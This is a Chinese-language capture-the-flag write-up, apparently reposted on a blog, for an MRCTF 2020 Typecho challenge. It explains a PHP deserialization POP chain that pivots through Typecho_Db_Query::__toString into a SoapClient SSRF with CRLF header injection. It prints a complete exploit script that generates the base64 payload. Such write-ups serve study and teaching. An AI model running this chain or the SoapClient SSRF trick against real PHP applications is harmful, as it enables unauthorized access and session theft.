因为是一_2020 revengep">
赞
踩
题目打开是个typecho博客,www.zip泄露,下载得到源码
看到flag.php可能是一个SSRF的题
<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>
因为是一个反序列构造POP链的题目,所以先找反序列化点
代码比较多,简化一下,这个Plugin.php中的核心代码如下:
<?php class HelloWorld_DB{ private $flag="MRCTF{this_is_a_fake_flag}"; private $coincidence; function __wakeup(){ $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']); } } class HelloWorld_Plugin implements Typecho_Plugin_Interface { public function action(){ if(!isset($_SESSION)) session_start(); if(isset($_REQUEST['admin'])) var_dump($_SESSION); if (isset($_POST['C0incid3nc3'])) { if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0) unserialize(base64_decode($_POST['C0incid3nc3'])); else { echo "Not that easy."; } } } }
看到action函数,很明显可以看到关键点,如果设置了$_REQUEST['admin']
,就会输出session,正好flag会存在session中
,并且发现输入点$_POST['C0incid3nc3']
进行反序列操作
在HelloWorld_DB函数中又发现了__wakeup
魔术方法
在反序列化unserialize时,会检查是否存在__wakeup方法,如果存在,则会调用__wakeup方法,预先准备对象数据。
__wakeup()
方法内实例化了Typecho_Db
类,传给构造方法的参数是$this->coincidence
数组的两个键值,跟进/var/IXR/Typecho/Db.php:
public function __construct($adapterName, $prefix = 'typecho_') { /** 获取适配器名称 */ $this->_adapterName = $adapterName; /** 数据库适配器 */ $adapterName = 'Typecho_Db_Adapter_' . $adapterName; if (!call_user_func(array($adapterName, 'isAvailable'))) { throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString() } $this->_prefix = $prefix;f /** 初始化内部变量 */ $this->_pool = array(); $this->_connectedPool = array(); $this->_config = array(); //实例化适配器对象 $this->_adapter = new $adapterName(); }
这个构造方法内将$adapterName
作为字符串进行了拼接,会触发__tostring
魔术方法
在/var/IXR/Typecho/Db/Query.php中有__tostring
方法
在/var/IXR/Typecho/Db/Query.php中有一个非常长的Typecho_Db_Query类,有用的代码如下:
class Typecho_Db_Query { private static $_default = array( 'action' => NULL, 'table' => NULL, 'fields' => '*', 'join' => array(), 'where' => NULL, 'limit' => NULL, 'offset' => NULL, 'order' => NULL, 'group' => NULL, 'having' => NULL, 'rows' => array(), ); private $_sqlPreBuild; public function __toString() { switch ($this->_sqlPreBuild['action']) { case Typecho_Db::SELECT: return $this->_adapter->parseSelect($this->_sqlPreBuild); case Typecho_Db::INSERT: return 'INSERT INTO ' . $this->_sqlPreBuild['table'] . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')' . ' VALUES ' . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')' . $this->_sqlPreBuild['limit']; case Typecho_Db::DELETE: return 'DELETE FROM ' . $this->_sqlPreBuild['table'] . $this->_sqlPreBuild['where']; case Typecho_Db::UPDATE: $columns = array(); if (isset($this->_sqlPreBuild['rows'])) { foreach ($this->_sqlPreBuild['rows'] as $key => $val) { $columns[] = "$key = $val"; } } return 'UPDATE ' . $this->_sqlPreBuild['table'] . ' SET ' . implode(' , ', $columns) . $this->_sqlPreBuild['where']; default: return NULL; } } }
假设$this->_sqlPreBuild['action']
为SELECT,在__toString()
方法内就会返回$this->_adapter->parseSelect($this->_sqlPreBuild)
,调用了$this->_adapter
的parseSelect()
方法
我们发现这个值我们也是可控的,这个时候我们控制_adapter为soap类就可以了~~
POP链逻辑:
HelloWorld_DB
,就触发了__wakeup()
方法,在__wakeup()
内实例化Typecho_Db
并以$this->coincidence['hello']
作为Typecho_Db
的__construct()
方法的第一个参数;$this->coincidence['hello']
实例化Typecho_Db_Query
对象,在Typecho_Db的构造方法中将其作为字符串,就触发了Typecho_Db_Query
的__toString()
方法;__toString()
内,如果$_sqlPreBuild['action']
为SELECT
就会触发$_adapter
的parseSelect()
方法;$_adapter
实例化为SoapClient
,调用parseSelect()
是不存在的方法,触发了SoapClient
的__call()魔术方法__call()
是实现SSRF的关键public SoapClient::__call ( string $function_name , array $arguments )
POP链清楚了,exp就很好写,本题目有个坑的地方,直接生成的payload不会触发成功,要将字符串改写成十六进制,也就是将表示字符串的s写成大写S,这样private属性后面的%00这个不可见字符就能写成\00
(如果是小写s 这个\00表示一个斜线和两个0 是三个字符)构造了好几个小时怎么都不能把flag带出来
参考Y1ng师傅的脚本:
<?php //www.gem-love.com class Typecho_Db_Query { private $_adapter; private $_sqlPreBuild; public function __construct() { $target = "http://127.0.0.1/flag.php"; $headers = array( 'X-Forwarded-For:127.0.0.1', "Cookie: PHPSESSID=s8fo8ma30gbttqvgdbb48k6rm4" ); $this->_adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'Y1ng^^' . join('^^', $headers))); $this->_sqlPreBuild = ['action' => "SELECT"]; } } class HelloWorld_DB { private $coincidence; public function __construct() { $this->coincidence = array("hello" => new Typecho_Db_Query()); } } function decorate($str) { $arr = explode(':', $str); $newstr = ''; for ($i = 0; $i < count($arr); $i++) { if (preg_match('/00/', $arr[$i])) { $arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]); } } $i = 0; for (; $i < count($arr) - 1; $i++) { $newstr .= $arr[$i]; $newstr .= ":"; } $newstr .= $arr[$i]; echo "www.gem-love.com\n"; return $newstr; } $y1ng = serialize(new HelloWorld_DB()); $y1ng = preg_replace(" /\^\^/", "\r\n", $y1ng); $urlen = urlencode($y1ng); $urlen = preg_replace('/%00/', '%5c%30%30', $urlen); $y1ng = decorate(urldecode($urlen)); echo base64_encode($y1ng);
因为想要带SESSION出来,必须要把自己的PHPSESSID传过去,然而SOAP并不能设置Cookie,因此需要CRLF
。SoapClient可以设置UA,只要在UA后加上\r\nCookie: PHPSESSID=xxx就能为http头添加一个新的Cookie字段,这样就能带上session了
CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。
还有最后一个问题,这个插件现在还不知道在哪调用,不知道在哪执行就不能反序列化。在/var/Typecho/Plugin.php中有如下路由代码:
public static function activate($pluginName)
{
self::$_plugins['activated'][$pluginName] = self::$_tmp;
self::$_tmp = array();
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}
到/page_admin,POST提交生成的payload,就会SOAP去访问flag.php实现SSRF把flag带到session中,然后带上admin参数来输出session即可得到flag
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。